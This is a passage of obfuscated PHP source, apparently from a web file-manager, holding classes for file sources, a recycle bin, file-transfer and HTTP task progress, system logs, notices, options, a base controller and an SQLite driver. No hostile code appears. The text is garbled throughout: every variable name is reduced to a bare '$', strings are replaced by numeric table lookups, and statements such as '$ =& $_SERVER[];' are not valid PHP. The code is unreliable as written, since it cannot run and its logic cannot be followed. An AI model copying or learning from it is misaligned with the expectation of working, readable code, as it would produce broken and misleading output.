+= floatval($this->where($)->sum($[79])); } } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($, $) { $ =& $_SERVER[]; $ = $[2320] . $ . $[11] . $; $ = Cache::get($); if ($) { return $; } $ = array($[663] => 0); if ($ != !1) { $[$[583]] = $; $[$[191]] = $; } $ = array(); $[$[2321]] = array($[2322] => LNG($[2321]), $[2323] => $this->where($)->count(), $[634] => $this->where($)->sum($[79])); $ = KodIO::fileTypeList(); foreach ($ as $ => $) { $[$[498]] = $this->fileTypeWhere($); $[$] = array($[2322] => $[$[32]], $[2323] => $this->where($)->count(), $[634] => $this->where($)->sum($[79])); } Cache::set($, $, 1200); return $; } public function fileNameExist($, $) { $ =& $_SERVER[]; $ = $this->field($[2324])->where(array($[193] => $, $[32] => $, $[517] => 0))->find(); return is_array($) ? $[$[194]] : !1; } public function childList($) { $ =& $_SERVER[]; $ = $[2297] . $; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $ = array($[193] => intval($), $[517] => 0); $ = $this->where($)->select(); $ = $ ? $ : array(); self::$cacheChildList[$] = $; foreach ($ as $) { $ = $[545] . $[$[194]]; self::$cacheSourceInfo[$] = $; } return $; } public function fileNameAuto($, $, $ = REPEAT_RENAME, $ = false) { $ =& $_SERVER[]; $ = get_path_ext($); $ = $ ? get_path_ext_name($) . $[2325] . $ : $ . $[472]; $ = array($[193] => $, $[517] => 0, $[32] => array($[471], $)); $ = $this->field($[32])->where($)->select(); $ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($, $, $, $); } public function fileNameAutoGet($, $, $, $) { $ =& $_SERVER[]; if ($ == REPEAT_REPLACE || !$ || !in_array_not_case($, $) || $ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ = $[10] . get_path_ext($); $ = $ == $[10] || $ ? $[12] : $; for ($ = 1; $ <= count($) + 1; $++) { $ = substr($, 0, strlen($) - strlen($)); $ = $ . "({$}){$}"; if (!in_array_not_case($, $)) { return $; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "io_source_recycle"; protected $dataAuto = array(array("createTime", "time", "insert", "function")); public function listData($ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $this->where(array($[1782] => $))->select(); return array_to_keyvalue($, $[12], $[194]); } public function moveToRecycle($) { $ =& $_SERVER[]; $ = Model($[1437]); $ = $->sourceInfo($); if (!$ || $[$[517]] == $[91]) { return; } $ = array($[503] => $, $[1782] => USER_ID, $[665] => $[$[191]], $[666] => $[$[583]], $[669] => $[$[598]]); $this->add($); $this->recycleMove($, 1); if ($[$[497]] == $[91]) { $ = array($[669] => array($[629], $[$[598]] . $ . $[630])); $->where($)->setField($[517], 1); } } public function clear() { $this->remove(!1); } public function remove($ = false, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = Model($[1437]); $ = $this->listData($); $ = $ === !1 ? !1 : $; $ = array(); foreach ($ as $) { if ($ != !1 && !in_array($, $)) { continue; } $ = $->sourceInfo($); $->remove($, !1); $ = $[$[191]] . $[11] . $[$[583]]; $[$] = array($[665] => $[$[191]], $[583] => $[$[583]]); $this->where(array($[194] => $))->delete(); } foreach ($ as $) { $->targetSpaceUpdate($[$[191]], $[$[583]]); } } public function restore($ = false) { $ = $this->listData(); $this->_restoreSource($, $); } public function removeUserAll($) { $this->remove(!1, $); } public function restoreItem($) { $this->_restoreSource(array($), array($)); } private function _restoreSource($, $) { $ =& $_SERVER[]; $ = Model($[1437]); $ = $ == !1 ? !1 : $; if (!$) { return !0; } $ = array(); foreach ($ as $) { if ($ != !1 && !in_array($, $)) { continue; } $ = $->sourceInfo($); $ = $->sourceInfo($[$[193]]); if ($[$[517]] == $[91]) { continue; } $->lockMoveStart($); $this->recycleMove($, 0); if ($[$[497]] == $[91]) { $ = array($[669] => array($[629], $[$[598]] . $ . $[630])); $->where($)->setField($[517], 0); $this->restoreFolderChildren($, $); } $this->where(array($[194] => $))->delete(); $->folderSizeReset($[$[193]]); $[] = $[$[193]]; if ($[$[497]] == $[91]) { $[] = $; } $->lockMoveEnd($); } $->updateModifyTime($); } private function restoreFolderChildren($, $) { $ =& $_SERVER[]; $ = Model($[1437]); $ = array($[194] => array($[7], array())); foreach ($ as $) { if ($ == $) { continue; } if (!$->isParentOf($, $)) { continue; } $ = $->sourceInfo($); if ($[$[497]] == $[91]) { $[] = array($[669] => array($[629], $[$[598]] . $ . $[630])); } else { $[$[194]][1][] = $; } } if (!$[$[194]][1]) { unset($[$[194]]); } if (!$) { return; } if (is_array($[$[194]]) && is_array($[$[194]][1])) { $[$[194]][1] = array_unique($[$[194]][1]); } $[$[1093]] = $[2094]; $->where($)->setField($[517], 1); } private function recycleMove($, $ = 1) { $ =& $_SERVER[]; $ = Model($[1437]); $ = Model($[2326]); $ = array($[194] => $); if ($) { $->where($)->setField($[517], 1); $->eventRecycle($, $[2327]); } else { $ = $->where($)->find(); $ = $[$[497]] == $[91]; $ = $->fileNameAuto($[$[193]], $[$[32]], REPEAT_RENAME_FOLDER, $); if ($ != $[$[32]]) { $->rename($, $); } $->where($)->setField($[517], 0); $->eventRecycle($, $[2328]); } } } goto F; d: class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1822], array($this, $[1823])); Hook::bind($[1324], array($this, $[1824])); Hook::bind($[1825], array($this, $[1826])); Hook::bind($[685], array($this, $[1827])); Hook::bind($[686], array($this, $[1828])); Hook::bind($[692], array($this, $[1829])); Hook::bind($[693], array($this, $[1830])); Hook::bind($[688], array($this, $[1831])); Hook::bind($[690], array($this, $[1832])); Hook::bind($[654], array($this, $[1833])); Hook::bind($[651], array($this, $[1833])); Hook::bind($[656], array($this, $[1833])); Hook::bind($[658], array($this, $[1833])); Hook::bind($[660], array($this, $[1833])); Hook::bind($[1834], array($this, $[1835])); Hook::bind($[676], array($this, $[1836])); $this->sourceModelCopyFlag = !1; Hook::bind($[1837], array($this, $[1838])); Hook::bind($[1839], array($this, $[1840])); Hook::bind($[1841], array($this, $[1842])); $[$[1843]] = LNG($[1844]); $[$[1845]] = 0; $[$[1846]] = 0; $[$[1158]] = $[12]; $[$[1847]] = $[12]; $[$[1848]] = 0; $[$[1849]] = 0; $[$[1850]] = 0; if (!$[$[1677]]) { $[$[1677]] = LNG($[1851]); } } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1822], array($this, $[1823])); Hook::unbind($[1324], array($this, $[1824])); Hook::unbind($[1825], array($this, $[1826])); Hook::unbind($[685], array($this, $[1827])); Hook::unbind($[686], array($this, $[1828])); Hook::unbind($[692], array($this, $[1829])); Hook::unbind($[693], array($this, $[1830])); Hook::unbind($[688], array($this, $[1831])); Hook::unbind($[690], array($this, $[1832])); Hook::unbind($[654], array($this, $[1833])); Hook::unbind($[651], array($this, $[1833])); Hook::unbind($[656], array($this, $[1833])); Hook::unbind($[658], array($this, $[1833])); Hook::unbind($[660], array($this, $[1833])); Hook::unbind($[1834], array($this, $[1835])); Hook::unbind($[676], array($this, $[1836])); Hook::unbind($[1837], array($this, $[1838])); Hook::unbind($[1839], array($this, $[1840])); Hook::unbind($[1841], array($this, $[1842])); } public function copyMoveStart($, $, $, $) { $ =& $_SERVER[]; self::log($[1852] . $ . $[73] . $); $ = rtrim(TEMP_FILES, $[8]); if (substr($, 0, strlen($)) == $) { return; } if (substr($, 0, strlen($)) == $) { return; } $ =& $this->task; $[$[1853]] = KodIO::transferType($, $); $this->update(); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[853]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$[1853]] == $[1418]) { return; } self::updateTask($); } private static function updateTask(&$) { $ =& $_SERVER[]; if ($[$[1853]] == $[1295] || $[$[1853]] == $[110]) { if ($[$[1847]]) { $[$[1850]] = $[$[1849]] + $[$[1846]]; } } else { if ($[$[1853]] == $[1419]) { if ($[$[1847]] == $[1295]) { $[$[1850]] = $[$[1849]] + $[$[1846]] * 0.5; } else { if ($[$[1847]] == $[110]) { $[$[1850]] = $[$[1849]] + $[$[1845]] * 0.5 + $[$[1846]] * 0.5; } } } } $[$[1793]] = $[$[1850]] / $[$[853]]; if ($[$[1793]] > 0) { $ = timeFloat() - $[$[1795]] - $[$[1798]]; $[$[1799]] = $ * (1 - $[$[1793]]) / $[$[1793]]; } } public function addPath($) { $ =& $_SERVER[]; if (!$) { return; } $ =& $this->task; $ = IO::infoWithChildren($); $ = $[$[1854]] ? $[$[1854]][$[1855]] : 0; $[$[1854]] = array($[1855] => $ + 1, $[506] => $[$[32]], $[87] => $[$[87]], $[596] => $[$[596]] ? $[$[596]] : $[$[87]]); if ($[$[33]] == $[233]) { $[$[1156]] += 1; } else { $[$[1156]] += $[$[82]][$[80]]; if ($[$[194]]) { $[$[1156]] += $[$[82]][$[81]] + 1; } } $[$[853]] += $[$[79]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($) { } public function sourceAddFileStart($) { $ =& $_SERVER[]; $ =& $this->task; $[$[1845]] = $[$[79]]; $[$[1843]] = $[$[32]]; $[$[1158]] = $[$[32]]; $[$[1856]] = $[$[87]]; $this->update(); } public function sourceAddFileEnd($) { $ =& $_SERVER[]; $ =& $this->task; $[$[1850]] += $[$[79]]; $[$[1856]] = $[$[87]]; $this->update(1); } public function copyFileStart($, $, $, $, $, $) { $ =& $_SERVER[]; $ = $; if ($ == $GLOBALS[$[1857]]) { $ = $GLOBALS[$[1858]]; } $GLOBALS[$[1858]] = $; $GLOBALS[$[1857]] = $; $ =& $this->task; $[$[1843]] = $; $[$[1845]] = (int) $->size($); $[$[1846]] = 0; $[$[1158]] = $[12]; $[$[1847]] = $[12]; $[$[1848]] = 0; $ = $[$[1845]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$[487]] . $[1859]); if ($ && file_exists(get_path_father($))) { Cache::set($[$[487]] . $[1859], $); $[$[1816]] = array($[1860], $[1861]); } $this->update(0, $); } public static function updateCopyLocalFileSize($) { $ =& $_SERVER[]; $ = Cache::get($[$[487]] . $[1859]); if (!$ || !file_exists($)) { return $; } $[$[1846]] = @filesize($); $[$[1850]] += $[$[1846]]; self::updateTask($); return $; } public function copyFileEnd($, $, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1846]] = $[$[1845]]; $[$[1847]] = $[12]; unset($[$[1816]]); if ($ == $[$[1843]]) { $[$[1849]] += $[$[1845]]; $[$[1850]] = $[$[1849]]; $ = 1; if (isset($[$[1856]]) && $[$[1856]] == $) { $ = 0; } $this->update($); } else { $this->update(); $[$[1846]] = 0; } Cache::remove($[$[487]] . $[1859]); self::log($[1862] . $ . $[73] . $ . $[288] . $ . $[1863] . $[$[1843]]); } public function updateFileEnd($, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1843]] = $; $[$[1845]] = $; $[$[1849]] += $; $[$[1850]] = $[$[1849]]; $this->update(1); self::log($[1864] . $); } public function sourceModelCopy($) { $ =& $_SERVER[]; $ = $[0]; $ = $[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $ = 0; switch ($) { case $[652]: $ = 1; break; case $[655]: $[$[1843]] = $[$[32]]; break; case $[657]: $ = intval($[$[468]] * 0.4); break; case $[659]: $ = intval($[$[468]] * 0.2); break; case $[661]: $ = intval($[$[468]] * 0.4); break; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceRemove($, $) { $ =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($[$[82]])) { $ = $[$[82]][$[80]]; $ = $ + $[$[82]][$[81]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[1158]] = $[1865]; $[$[1847]] = $[110]; if ($[$[1845]]) { $[$[1846]] = $; } if ($[$[1848]]) { $[$[1846]] = $ + $[$[1848]]; } } else { if ($ > 0) { if ($[$[1845]] == $) { $[$[1846]] = $; $[$[1158]] = $[1866]; $[$[1847]] = $[1295]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($) { $ =& $_SERVER[]; $ =& $this->task; $ = curl_getinfo($); $ = $[$[1867]]; if ($ == -1) { $ = $[$[1868]]; } if ($[$[1847]] == $[110] && $) { $[$[1848]] += $; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $[$[1869]] = 1; Hook::bind($[1837], array($this, $[1870])); Hook::bind($[1839], array($this, $[1871])); Hook::bind($[1841], array($this, $[1872])); } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1837], array($this, $[1870])); Hook::unbind($[1839], array($this, $[1871])); Hook::unbind($[1841], array($this, $[1872])); } public function progressStart($) { $ =& $_SERVER[]; $ = curl_getinfo($); self::log($[1873] . $[$[394]]); self::valueSet($this->task[$[487]], $this->task); } public function progressEnd($) { $ =& $_SERVER[]; self::log($[1874] . $this->task[$[487]]); $this->end(); } public function progress($, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[1156]] = $[$[1156]] == 0 ? $ : $[$[1156]]; $[$[1792]] = $; } else { if ($ > 0) { $[$[1156]] = $[$[1156]] == 0 ? $ : $[$[1156]]; $[$[1792]] = $; } } $this->update(); self::log("progressHttp:down:{$}/{$}; upload:{$}/{$};"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $ = '', $ = 0, $ = '') { $ =& $_SERVER[]; $ = $ ? $ : ($ ? $ : $); $ = new Task($, $, $, $); $GLOBALS[$[1875] . $] = new TaskLog($[1774], $, $); return $; } public function __construct($ = '', $ = '', $ = '') { $ =& $_SERVER[]; if (!$) { $ = $[1774]; } $ = $ . $[474] . rand_string(10); if (!$) { $ = $ . $[53] . $; } switch ($) { case $[1774]: if (!$ || !$->task) { return echoLog($ . $[1876]); } $ = $; $ = $->task[$[487]]; $ = $->task[$[487]]; if (!$->task[$[1677]]) { $->task[$[1677]] = $ ? $ : $; } break; case $[1877]: if (!$) { return echoLog($ . $[1878]); } $ = is_string($) ? array($) : $; $ = new TaskFileTransfer($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $->addPath($); } break; case $[400]: if (!$) { return echoLog($ . $[1878]); } $ = is_string($) ? array($) : $; $ = new TaskZip($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $->addPath($); } break; case $[1315]: if (!$) { return echoLog($ . $[1878]); } $ = new TaskUnZip($, $, 0, $ ? $ : $); if ($) { $->addFile($); } break; case $[152]: $ = new TaskHttp($, $); break; default: return; break; } $this->task = $; $this->taskID = $; Hook::bind($[1812], array($this, $[1879])); Hook::bind($[1814], array($this, $[1880])); Hook::bind($[1808], array($this, $[1881])); echoLog($[1882] . $->task[$[1677]]); } public function __destruct() { $this->end(); } public function end($ = '') { $ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($); $this->task = !1; $this->taskID = !1; Hook::unbind($[1812], array($this, $[1879])); Hook::unbind($[1814], array($this, $[1880])); Hook::unbind($[1808], array($this, $[1881])); } public function taskUpdate($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[487]]) { return; } $ = 20; $ = intval($[$[1793]] * $); $ = $[176] . str_repeat($[518], $) . $[1107] . str_repeat($[53], $ - $) . $[178]; $ = $ . sprintf($[1883], $[$[1793]] * 100) . $[1884]; $ = $ . $[$[1792]] . $[8] . $[$[1156]] . LNG($[1885]); $ = $[12]; if ($[$[1869]]) { $ = $ . size_format($[$[1792]]) . $[8] . size_format($[$[1156]]); $ = size_format($[$[1794]]) . $[1886]; } if ($[$[1158]]) { $[$[1843]] = $[$[1158]] . $[53] . $[$[1843]]; } if ($[$[1843]]) { $ = $[12]; if ($[$[1845]]) { $ = $[50] . size_format($[$[1846]]) . $[8] . size_format($[$[1845]]); } $ .= $[$[1843]] . $; } if ($[$[853]] && !$[$[1845]]) { $ .= $[53] . size_format($[$[1850]]) . $[8] . size_format($[$[853]]); } echoLog($ . $[53] . $, !0); } public function taskEnd($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[487]]) { return; } $ = $ ? LNG($[1887]) . $[4] . $[$[1792]] . $[8] . $[$[1156]] . LNG($[1885]) . $[74] : $[12]; echoLog($[1888] . $[$[1677]] . ($[$[538]] ? $[74] . $[$[538]] : $[12]) . $[74] . $ . $[1889] . sprintf($[947], timeFloat() - $[$[1795]]) . $[1807]); $this->end(); } public function taskKill($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[487]]) { return; } echoLog($[1890] . $[$[1677]]); } } goto e; c: class SystemLogModel extends ModelBase { protected $tableName = "system_log"; protected $dataAuto = array(array("createTime", "time", "insert", "function")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[]; return array($[2366] => LNG($[2367]), $[2368] => LNG($[2369]), $[1934] => LNG($[2370]), $[2371] => LNG($[2372]), $[2373] => LNG($[2374]), $[2375] => LNG($[2376]), $[2377] => LNG($[2378]), $[1964] => LNG($[2378]), $[1965] => LNG($[2379]), $[2380] => LNG($[2381]), $[2382] => LNG($[2383]), $[2384] => LNG($[2385]), $[2386] => LNG($[2387]), $[1962] => LNG($[2388]), $[2389] => LNG($[2390]), $[1969] => LNG($[2391]), $[2392] => LNG($[2393]), $[2394] => LNG($[2395]), $[2396] => LNG($[2397]), $[2398] => LNG($[2399]), $[1972] => LNG($[2400]), $[1973] => LNG($[2401]), $[2402] => LNG($[2403]), $[2404] => LNG($[2405]), $[2406] => LNG($[2407]), $[1967] => LNG($[2408]), $[2409] => LNG($[2410]), $[1966] => LNG($[2411]), $[2412] => LNG($[2412]), $[2413] => LNG($[2414]), $[2415] => LNG($[2412]), $[2416] => LNG($[2417]), $[2418] => LNG($[2419]), $[2420] => LNG($[2419]), $[2421] => LNG($[2422]), $[2423] => LNG($[2423]), $[2424] => LNG($[1938]), $[2425] => LNG($[2426]), $[2427] => LNG($[2428]), $[2429] => LNG($[2430]), $[2431] => LNG($[2432]), $[2433] => LNG($[2434]), $[2435] => LNG($[2435]), $[2436] => LNG($[2437]), $[2438] => LNG($[2439]), $[2440] => LNG($[2441]), $[2442] => LNG($[2443]), $[2444] => LNG($[2445]), $[2446] => LNG($[2447]), $[213] => LNG($[213]), $[214] => LNG($[2448]), $[2449] => LNG($[2449])); } private function typeFile() { $ =& $_SERVER[]; $ = array($[1969] => array($[1970]), $[2384] => array($[2450]), $[2386] => array($[2451]), $[1962] => array($[1963], $[2452]), $[2394] => array(), $[2396] => array(), $[2398] => array(), $[1972] => array($[1974]), $[1973] => array($[1974]), $[2402] => array($[2453]), $[2404] => array($[2453]), $[2406] => array($[2454]), $[2392] => array($[2455]), $[1967] => array($[2456]), $[2409] => array($[2457]), $[1966] => array($[1968])); return $; } private function typeAll() { $ =& $_SERVER[]; $ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ => $) { $[$[0]] = $[$]; } $[$[1974]] = LNG($[2458]); $[$[2453]] = LNG($[2459]); return $; } public function addLog($, $ = array()) { $ =& $_SERVER[]; if (!isset($this->typeList[$])) { return; } $ = Session::get($[2133]); if (!$) { $ = _get($, $[1791], 0); } if ($ == $[2425] && is_array($[$[2460]]) && !$[$[2460]]) { return; } $ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024 * 64) { if ($ && is_array($)) { $ = array_intersect_key($, array_flip($[487], $[32])); $[$[2461]] = $; } else { $ = array($[2461] => $); } } else { if (is_array($)) { $[$[2461]] = $; } else { $ = array($[1303] => $, $[2461] => $); } } $ = array($[1781] => Session::sign(), $[1782] => intval($), $[33] => $, $[1784] => json_encode($)); return parent::add($); } public function remove($) { $this->where(array($_SERVER[][505] => $))->delete(); } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = $[234]; $ = array($[535] => $[536], $[537] => $[538]); $ = Input::get($[543], $[7], $[2173], array($[2087], $[537])); $ = $[$]; $ = $ . "{$} {$}"; return $this->order($); } public function get($ = '') { $ =& $_SERVER[]; if (!$) { show_json(array()); } $ = array(); if ($[$[1791]]) { $[$[1791]] = $[$[1791]]; } if (isset($[$[850]])) { $ = $[$[850]]; $ = isset($[$[851]]) ? $[$[851]] : time(); $[$[234]] = array($[420], array($, $)); } if ($[$[33]]) { $ = explode($[50], $[$[33]]); $ = $this->typeFile(); $ = array(); foreach ($ as $) { $[] = $; if (isset($[$])) { $ = array_merge($, $[$]); } } $ = array_unique($); if ($) { $[$[33]] = array($[7], $); } } else { $[$[33]] = array($[2462], $[2463]); } if (!empty($[$[2461]])) { $[$[538]] = array($[471], "%{$[$[2461]]}%"); } $ = $this->_makeOrder()->where($)->selectPage(); if (empty($[$[457]])) { show_json(array(), !0, $[$[454]]); } $[$[457]] = $this->logList($[$[457]]); return $; } private function ipAddress(&$) { $ =& $_SERVER[]; if (!empty($[$[2461]])) { $ = IpLocation::get($[$[2461]]); } else { $ = LNG($[2464]); } $[$[2465]] = $; } private function descZipDownload($, &$) { $ =& $_SERVER[]; if (!isset($[$[2466]])) { return; } $ = json_decode($[$[2466]], !0); foreach ($ as $) { try { $ = IO::infoFullSimple($[$[87]]); } catch (Exception $) { continue; } $[$[87]] = $[$[87]]; $[] = $[$[194]] = $[$[194]]; $[] = $[$[2229]] = $[$[193]]; break; } return $; } private function getSourceList(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as $ => $) { $ = json_decode($[$[538]], !0); if ($[$[33]] == $[1965]) { $ = $this->descZipDownload($, $); $[$][$[538]] = json_encode($); continue; } if (strpos($[$[33]], $[2231]) !== 0) { if (!isset($[$[87]]) || strpos($[$[33]], $[2467]) !== 0) { continue; } try { $ = IO::infoFullSimple($[$[87]]); } catch (Exception $) { continue; } $[] = $[$[194]] = $[$[194]]; $[] = $[$[2229]] = $[$[193]]; $[$][$[538]] = json_encode($); continue; } $[] = $[$[194]]; $[] = $[$[2229]]; if ($[$[33]] == $[637]) { $[] = $[$[538]][$[1257]]; $[] = $[$[538]][$[1258]]; } if ($[$[33]] == $[2240]) { $[] = $[$[538]][$[194]]; } } if (!$) { return array(); } return Model($[920])->sourceListInfo($, !0); } private function logList($) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1791]); $ = Model($[611])->userListInfo(array_unique($)); $ = $this->getSourceList($); $ = $this->typeAll(); $ = array(); $ = array(); foreach ($ as $ => $) { $ = $[$[33]]; $ = isset($[$[$[1791]]]) ? $[$[$[1791]]] : !1; $ = strpos($, $[2468]) === 0 ? LNG($[2469]) : LNG($[2464]); $[$[32]] = isset($[$[32]]) ? $[$[32]] : LNG($[2464]); $[$[2291]] = isset($[$[2291]]) ? $[$[2291]] : $[12]; $[$[1677]] = isset($[$]) ? $[$] : $; $[$[2172]] = $; $ = json_decode($[$[538]], !0); $[$[2461]] = isset($[$[2461]]) ? $[$[2461]] : $[12]; $[$[2465]] = IpLocation::get($[$[2461]]); if (strpos($, $[2231]) === 0 || isset($[$[2229]])) { $[$[90]] = $[$[$[194]]]; $[$[2245]] = $[$[$[2229]]]; if ($[$[33]] == $[637]) { $[$[538]][$[1257]] = $[$[$[538]][$[1257]]]; $[$[538]][$[1258]] = $[$[$[538]][$[1258]]]; } if ($[$[33]] == $[2240]) { $[$[538]][$[194]] = $[$[$[538]][$[194]]]; } if ($[$[33]] == $[1960]) { $[$[2245]] = $[$[90]]; $[$[2229]] = $[$[2245]][$[194]]; $[$[90]] = !1; $[$[194]] = $[12]; } $ = array($[1960], $[2227]); if (!in_array($[$[33]], $)) { if ($[$[90]] && $[$[90]][$[191]] == $[192]) { $[] = $[$[487]]; unset($[$]); continue; } if ($[$[2245]] && $[$[2245]][$[191]] == $[192]) { $[] = $[$[487]]; unset($[$]); continue; } } } $[$[538]] = $; unset($[$[2470]]); $[] = $; } $this->clearSystemPathLog($); return $; } private function clearSystemPathLog($) { $ =& $_SERVER[]; if (count($) == 0) { return; } $ = array($[487] => array($[7], array_unique($))); $this->where($)->delete(); } public function deviceList($, $ = 0) { $ =& $_SERVER[]; $ = array($[1791] => $, $[234] => array($[1107], $), $[33] => $[1934]); $ = array(); $ = $this->field($[2471])->where($)->order($[2243])->limit(50)->select(); foreach ($ as $ => $) { if ($ > 0 && abs($[$[234]] - $[$ - 1][$[234]]) < 5) { continue; } $ = json_decode($[$[538]], !0); $[$[2461]] = isset($[$[2461]]) ? $[$[2461]] : $[12]; unset($[$[2461]]); $ = $this->deviceType($[$[2232]]); if (isset($[$])) { continue; } $[$[2465]] = IpLocation::get($[$[2461]]); $[$[538]] = $; $[$] = $; } return array_values($); } public function deviceType($) { return $; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "System.noticeList"; public $field = array("name", "content", "auth", "mode", "time", "type", "level", "enable", "sort"); public function listData($ = false, $ = "sort", $ = false) { return parent::listData($, $, $); } public function add($) { $ =& $_SERVER[]; $ = time(); if ($[$[16]] == $[2472]) { $ = strtotime($[$[207]]); } $[$[207]] = $; return parent::insert($); } public function update($, $) { $ =& $_SERVER[]; $ = $this->listData($); if (!$) { return !1; } $ = time(); if ($[$[16]] == $[2472]) { $ = strtotime($[$[207]]); } $[$[207]] = $; return parent::update($, $); } public function remove($) { $ = $this->listData($); if (!$ || $[$_SERVER[][192]]) { return !1; } return parent::remove($); } public function sort($, $) { return parent::update($, $); } public function enable($, $) { return parent::update($, array($_SERVER[][2473] => $)); } private function initUserOption() { $ =& $_SERVER[]; $this->optionType = $[2474]; $this->modelType = $[2475]; $this->field = array($[2476], $[32], $[207], $[33], $[2477], $[840], $[229]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[][487], !0); } public function userNoticeAdd($) { $ =& $_SERVER[]; $this->initUserOption(); $ = $this->findByKey($[2476], $[$[487]]); if ($) { return !0; } $ = array($[2476] => $[$[487]], $[32] => $[$[32]], $[207] => $[$[207]], $[33] => isset($[$[33]]) ? $[$[33]] : 1, $[2477] => isset($[$[2477]]) ? $[$[2477]] : 0, $[840] => 0, $[229] => 0); return parent::insert($); } public function userNoticeEdit($, $) { $this->initUserOption(); return parent::update($, $); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "system_option"; protected $jsonField = array("menu", "role", "roleGroup", "regist", "email"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "SystemOption_{$}"; } protected function optionDefault($ = '') { $ =& $_SERVER[]; if ($ == $[12]) { return $GLOBALS[$[6]][$[469]]; } } } goto a; a: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$[6]] =& $config; $this->values[$[7]] =& $in; $this->tpl = TEMPLATE . MOD . $[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($) { if (1 === func_num_args()) { $this->{$} = new $(); } else { $ = new ReflectionClass($); $ = func_get_args(); array_shift($); $this->{$} = $->newInstanceArgs($); } return $this->{$}; } public function routeBind($, $, $ = 3) { $ =& $_SERVER[]; $ = $this->in[$[9]]; $ = str_replace($[10], $[11], trim(trim($, $[8]), $[12])); if (!$ || count($) <= $) { return !1; } $ = !0; $ = explode($[8], $); for ($ = 0; $ < count($); $++) { if ($[$] != $[$ + $]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($ = 3) { $ = $this->in[$_SERVER[][9]]; if (count($) <= $) { return array(); } $ = array(); for ($ = $; $ < count($); $ += 2) { $[$[$]] = $[$ + 1]; $this->in[$[$]] = $[$ + 1]; } return $; } protected function assign($, $) { $this->values[$] = $; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[13])) { think_exception(think_lang($[14]) . $[15]); } if (!empty($)) { if (!isset($[$[16]])) { $[$[16]] = 438; } $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; $ = $ ? $[19] : $[20]; $this->linkID[$] = $($[$[21]], $[$[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { 